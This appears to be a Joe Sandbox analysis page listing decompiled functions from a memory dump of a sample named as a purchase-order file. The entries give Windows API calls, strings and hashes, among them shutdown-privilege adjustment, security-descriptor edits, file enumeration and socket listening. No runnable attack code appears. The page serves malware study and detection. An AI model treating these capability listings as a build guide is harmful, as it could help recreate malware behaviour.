Instruction ID: 72a2fd59153234373391f972af8bc7e503bf673df65afccb4f4ecee040a4f935
Opcode Fuzzy Hash: c24caf0b266a53f5e7acd00b30f5ede1e5d756040c77aa0fe23e7167681731b8
Instruction Fuzzy Hash: E25167B2408384AAD734DB50DC45EDF73E9AFC8304F544E1EF68982141EB75D249CBA6

Function 004788BD Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 217timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,?), ref: 004788E4
FindClose.KERNEL32(00000000), ref: 00478924
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00478949
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00478961
FileTimeToSystemTime.KERNEL32(?,?), ref: 00478989
__swprintf.LIBCMT ref: 004789D3
__swprintf.LIBCMT ref: 00478A1D
__swprintf.LIBCMT ref: 00478A4B
__swprintf.LIBCMT ref: 00478A79

Part of subcall function 0041329B: __flsbuf.LIBCMT ref: 00413314
Part of subcall function 0041329B: __flsbuf.LIBCMT ref: 0041332C

__swprintf.LIBCMT ref: 00478AA7
__swprintf.LIBCMT ref: 00478AD5
__swprintf.LIBCMT ref: 00478B03

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 004789CD
%4d, xrefs: 00478A17
%02d, xrefs: 00478A43, 00478A73, 00478AA1, 00478ACD, 00478AFD

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 999945258-2428617273
Opcode ID: 438ad41bdba169d6dbcdf3912f97c2a8dc3502a0945a742a170651836116907f
Instruction ID: 8fd0730747e081185947bc4026d2fd3d0a29cbe563c255e8678d3cf3417a7967
Opcode Fuzzy Hash: 438ad41bdba169d6dbcdf3912f97c2a8dc3502a0945a742a170651836116907f
Instruction Fuzzy Hash: 32719772204300ABC310EF55CC85FAFB7E9AF88705F504D2FF645962D1E6B9E944875A

Function 004033C0 Relevance: 26.6, APIs: 11, Strings: 4, Instructions: 359COMMON

Download Yara Rule

APIs

Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57

GetCurrentDirectoryW.KERNEL32(00000104,?,?), ref: 00403451
GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00403467
__wsplitpath.LIBCMT ref: 00403492

Part of subcall function 00413A0E: __wsplitpath_helper.LIBCMT ref: 00413A50

_wcscpy.LIBCMT ref: 004034A7
_wcscat.LIBCMT ref: 004034BC
SetCurrentDirectoryW.KERNEL32(?), ref: 004034CC

Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1

Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411626
Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411640
Part of subcall function 004115D7: __CxxThrowException@8.LIBCMT ref: 00411651

Part of subcall function 00403AF0: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,?,0040355C,?,?,?,00000010), ref: 00403B08
Part of subcall function 00403AF0: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,00000010), ref: 00403B41

_wcscpy.LIBCMT ref: 004035A0
_wcslen.LIBCMT ref: 00403623
_wcslen.LIBCMT ref: 0040367D

Strings

_, xrefs: 0040371C
Error opening the file, xrefs: 00428231
Unterminated string, xrefs: 00428348
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00428200

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _wcslen$ByteCharCurrentDirectoryMultiWide_wcscpystd::exception::exception$Exception@8FullNamePathThrow__wsplitpath__wsplitpath_helper_malloc_memmove_wcscat
String ID: #include depth exceeded. Make sure there are no recursive includes$Error opening the file$Unterminated string$_
API String ID: 3393021363-188983378
Opcode ID: ce77724faf1e7fbc9fcf9b1a922f2907e035de924d79ec5656a8af7ae9668c55
Instruction ID: 51a390cb75b153cc6cab8b26b712b327f6f81406d0e69f910df9a3585dc9283e
Opcode Fuzzy Hash: ce77724faf1e7fbc9fcf9b1a922f2907e035de924d79ec5656a8af7ae9668c55
Instruction Fuzzy Hash: CCD105B1508341AAD710EF64D841AEFBBE8AF85304F404C2FF98553291DB79DA49C7AB

Function 00431A86 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 139fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00431AAA
GetFileAttributesW.KERNEL32(?), ref: 00431AE7
SetFileAttributesW.KERNEL32(?,?), ref: 00431AFD
FindNextFileW.KERNEL32(00000000,?), ref: 00431B0F
FindClose.KERNEL32(00000000), ref: 00431B20
FindClose.KERNEL32(00000000), ref: 00431B34
FindFirstFileW.KERNEL32(*.*,?), ref: 00431B4F
SetCurrentDirectoryW.KERNEL32(?), ref: 00431B96
SetCurrentDirectoryW.KERNEL32(0048AB30), ref: 00431BBA
FindNextFileW.KERNEL32(00000000,00000010), ref: 00431BC2
FindClose.KERNEL32(00000000), ref: 00431BCD
FindClose.KERNEL32(00000000), ref: 00431BDB

Strings

*.*, xrefs: 00431B4A

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 375c8f5163c02f9b34b1ce4408ff1b09f98ffe2d72fc8025119183882b6461df
Instruction ID: b696eadadcb8a1627fc7fa6feda0e6e57aab690e04623b9265854ab7309d24dd
Opcode Fuzzy Hash: 375c8f5163c02f9b34b1ce4408ff1b09f98ffe2d72fc8025119183882b6461df
Instruction Fuzzy Hash: CE41D8726002046BC700EF65DC45EAFB3ACAE89311F04592FF954C3190E7B8E519C7A9

Function 00431BE8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 116COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00431C09
__swprintf.LIBCMT ref: 00431C2E
_wcslen.LIBCMT ref: 00431C3A
CreateDirectoryW.KERNEL32(?,00000000), ref: 00431C67

Strings

\, xrefs: 00431C44
:, xrefs: 00431C4F
\??\%s, xrefs: 00431C28

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CreateDirectoryFullNamePath__swprintf_wcslen
String ID: :$\$\??\%s
API String ID: 2192556992-3457252023
Opcode ID: e3674d1d1678aa5b2072ca287ea13c599f7f343b69fea712d52b9408e430d9c0
Instruction ID: 5b8928ca783b893dacbf0721098a8616f59dd17613a34138e213b27d6ec4c177
Opcode Fuzzy Hash: e3674d1d1678aa5b2072ca287ea13c599f7f343b69fea712d52b9408e430d9c0
Instruction Fuzzy Hash: EE413E726403186BD720DB54DC45FDFB3BCFF58710F00859AFA0896191EBB49A548BD8

Function 004720DB Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 377timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 004722A2
__swprintf.LIBCMT ref: 004722B9
SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,0048BF68), ref: 004724EC
SHGetFolderPathW.SHELL32(00000000,0000002B,00000000,00000000,0048BF68), ref: 00472506
SHGetFolderPathW.SHELL32(00000000,00000005,00000000,00000000,0048BF68), ref: 00472520
SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,0048BF68), ref: 0047253A
SHGetFolderPathW.SHELL32(00000000,00000019,00000000,00000000,0048BF68), ref: 00472554
SHGetFolderPathW.SHELL32(00000000,0000002E,00000000,00000000,0048BF68), ref: 0047256E
SHGetFolderPathW.SHELL32(00000000,0000001F,00000000,00000000,0048BF68), ref: 00472588
SHGetFolderPathW.SHELL32(00000000,00000017,00000000,00000000,0048BF68), ref: 004725A2
SHGetFolderPathW.SHELL32(00000000,00000016,00000000,00000000,0048BF68), ref: 004725BC

Strings

%.3d, xrefs: 004722AD

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: FolderPath$LocalTime__swprintf
String ID: %.3d
API String ID: 3337348382-986655627
Opcode ID: e729fe0eecd02e77c5ee8deaec4c56456965897f8b2a75efd2bc4ea0d4b88c57
Instruction ID: 0d137f706e98bab13a4a4c7fcb7914b07bdb7c22a72ec07ab57cd4d47a51df83
Opcode Fuzzy Hash: e729fe0eecd02e77c5ee8deaec4c56456965897f8b2a75efd2bc4ea0d4b88c57
Instruction Fuzzy Hash: A6C1EC326101185BD710FBA1DD8AFEE7328EB44701F5045BFF909A60C2DBB99B598F64

Function 00442886 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 135fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 004428A8
FindNextFileW.KERNEL32(00000000,?), ref: 0044290B
FindClose.KERNEL32(00000000), ref: 0044291C
FindClose.KERNEL32(00000000), ref: 00442930
FindFirstFileW.KERNEL32(*.*,?), ref: 0044294D
SetCurrentDirectoryW.KERNEL32(?), ref: 0044299C
SetCurrentDirectoryW.KERNEL32(0048AB30), ref: 004429BF
FindNextFileW.KERNEL32(00000000,00000010), ref: 004429C9
FindClose.KERNEL32(00000000), ref: 004429D4

Part of subcall function 00433C08: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00433C2A

FindClose.KERNEL32(00000000), ref: 004429E2

Strings

*.*, xrefs: 00442948

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: 8a47bb142582fb369a588aeabde8b58686abdf3d8367fad8d2448c9b03ae91f1
Instruction ID: 696d482812dd8bff2d9106dd2d2144e175b5fe2258968c3fd44c1969776f6f9a
Opcode Fuzzy Hash: 8a47bb142582fb369a588aeabde8b58686abdf3d8367fad8d2448c9b03ae91f1
Instruction Fuzzy Hash: AD410AB2A001186BDB10EBA5ED45FEF73689F89321F50465BFD0493280D6B8DE558BB8

Function 004333BE Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 86shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?), ref: 004333CE
OpenProcessToken.ADVAPI32(00000000), ref: 004333D5
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004333EA
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 0043340E
GetLastError.KERNEL32 ref: 00433414
ExitWindowsEx.USER32(?,00000000), ref: 00433437
InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,?), ref: 00433466
SetSystemPowerState.KERNEL32(00000001,00000000), ref: 00433479

Strings

SeShutdownPrivilege, xrefs: 004333E3

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ProcessSystemToken$AdjustCurrentErrorExitInitiateLastLookupOpenPowerPrivilegePrivilegesShutdownStateValueWindows
String ID: SeShutdownPrivilege
API String ID: 2938487562-3733053543
Opcode ID: e998af62085c6697935ed50d35c6a1543144275e53dff9101095b3913992069c
Instruction ID: ad32a9094aef850e2966724807b7d50af50c82f056daff98c21d8f44207777ad
Opcode Fuzzy Hash: e998af62085c6697935ed50d35c6a1543144275e53dff9101095b3913992069c
Instruction Fuzzy Hash: F221C971640205ABF7108FA4EC4EF7FB3ACE708702F144569FE09D51D1D6BA5D408765

Function 00446124 Relevance: 16.7, APIs: 11, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 00436E2B: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 00436E45
Part of subcall function 00436E2B: GetLastError.KERNEL32(?,00000000,?), ref: 00436E4F
Part of subcall function 00436E2B: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 00436E75

Part of subcall function 00436DF7: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00436E12

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 0044618A
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 004461BE
GetLengthSid.ADVAPI32(?), ref: 004461D0
GetAce.ADVAPI32(?,00000000,?), ref: 0044620D
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00446229
GetLengthSid.ADVAPI32(?), ref: 00446241
GetLengthSid.ADVAPI32(?,00000008,?), ref: 0044626A
CopySid.ADVAPI32(00000000), ref: 00446271
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 004462A3
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 004462C5
SetUserObjectSecurity.USER32(?,00000004,?), ref: 004462D8

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 1255039815-0
Opcode ID: cf498e736c0040d611dc61921388a4e783ba54ad69564fff20abd6321b712b19
Instruction ID: cbecfdc94e872455e881353a2ef69e95113e06a92746e25f2a634f38edc45108
Opcode Fuzzy Hash: cf498e736c0040d611dc61921388a4e783ba54ad69564fff20abd6321b712b19
Instruction Fuzzy Hash: C251BC71A00209BBEB10EFA1CD84EEFB778BF49704F01855EF515A7241D6B8DA05CB69

Function 0043305F Relevance: 16.6, APIs: 11, Instructions: 122COMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00433073
__swprintf.LIBCMT ref: 00433085
__wcsicoll.LIBCMT ref: 00433092
FindResourceW.KERNEL32(?,?,0000000E), ref: 004330A5
LoadResource.KERNEL32(?,00000000), ref: 004330BD
LockResource.KERNEL32(00000000), ref: 004330CA
FindResourceW.KERNEL32(?,?,00000003), ref: 004330F7
LoadResource.KERNEL32(?,00000000), ref: 00433105
SizeofResource.KERNEL32(?,00000000), ref: 00433114
LockResource.KERNEL32(?), ref: 00433120

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$Sizeof__wcsicoll
String ID:
API String ID: 1158019794-0
Opcode ID: b140e135c5f727b40d296f2f4b3108eaeb1a217ee9fa6a28346dce69b8385e70
Instruction ID: 48d2d5a3af9b637b7fc6f2c6b5a7fdd3517197a5f8dc2ef3994740021b7ed835
Opcode Fuzzy Hash: b140e135c5f727b40d296f2f4b3108eaeb1a217ee9fa6a28346dce69b8385e70
Instruction Fuzzy Hash: C741F1322002146BDB10EF65EC84FAB37ADEB89321F00846BFD01C6245E779DA51C7A8

Function 0045A10F Relevance: 16.6, APIs: 11, Instructions: 120clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(?), ref: 0045A14A
EmptyClipboard.USER32 ref: 0045A150
CloseClipboard.USER32 ref: 0045A156
GlobalAlloc.KERNEL32(00000002,?,?,?), ref: 0045A176

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: bc1c5a0e04e7211697dd638385d424d337038878635646daacac479226a8eb74
Instruction ID: d84b136cee2c902db59abfe4f82a3f409d39725fe24efd6a62fd8a04edebb5dd
Opcode Fuzzy Hash: bc1c5a0e04e7211697dd638385d424d337038878635646daacac479226a8eb74
Instruction Fuzzy Hash: 334114726001119FC310EFA5EC89B5EB7A4FF54315F00856EF909EB3A1EB75A941CB88

Function 0045D619 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 107COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0045D627
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,?), ref: 0045D6B5
GetLastError.KERNEL32 ref: 0045D6BF
SetErrorMode.KERNEL32(00000000,?), ref: 0045D751

Strings

INVALID, xrefs: 0045D6F5
READONLY, xrefs: 0045D713
READY, xrefs: 0045D6E6
NOTREADY, xrefs: 0045D704
UNKNOWN, xrefs: 0045D722

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 7585e308607772b0055f7746bf91c511cc03d2319b95ee688ecb5d1da683c46d
Instruction ID: 1f300c266cb1daf6abeae651b696e439ee3a0372042695327ab67fb83666ce96
Opcode Fuzzy Hash: 7585e308607772b0055f7746bf91c511cc03d2319b95ee688ecb5d1da683c46d
Instruction Fuzzy Hash: FE418235D00209DFCB10EFA5C884A9DB7B4FF48315F10846BE905AB352D7799A85CB69

Function 0044EB5F Relevance: 12.9, APIs: 3, Strings: 4, Instructions: 643COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0044D011
_strncmp.LIBCMT ref: 0044EC1E
_memmove.LIBCMT ref: 0044ED08

Strings

h, xrefs: 0044F78E
^, xrefs: 0044F41E
\, xrefs: 0044D061
@oH, xrefs: 0044EC09

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _memmove$_strncmp
String ID: @oH$\$^$h
API String ID: 2175499884-3701065813
Opcode ID: 988809b36a944a9929e300e154a4cfc85b4d4f50dea7e6e4a67b5f519bc2876c
Instruction ID: 796dcd1322dc9123c5f4e5533c800aedaabe8dca19c5b95ba0af32eff2573e22
Opcode Fuzzy Hash: 988809b36a944a9929e300e154a4cfc85b4d4f50dea7e6e4a67b5f519bc2876c
Instruction Fuzzy Hash: 4242E170E04249CFEB14CF69C8806AEBBF2FF85304F2481AAD856AB351D7399946CF55

Function 004652BE Relevance: 12.1, APIs: 8, Instructions: 97networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,00000000), ref: 0046530D
WSAGetLastError.WSOCK32(00000000), ref: 0046531C
bind.WSOCK32(00000000,?,00000010), ref: 00465356
WSAGetLastError.WSOCK32(00000000), ref: 00465363
closesocket.WSOCK32(00000000,00000000), ref: 00465377
listen.WSOCK32(00000000,00000005), ref: 00465381
WSAGetLastError.WSOCK32(00000000), ref: 004653A9
closesocket.WSOCK32(00000000,00000000), ref: 004653BD

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
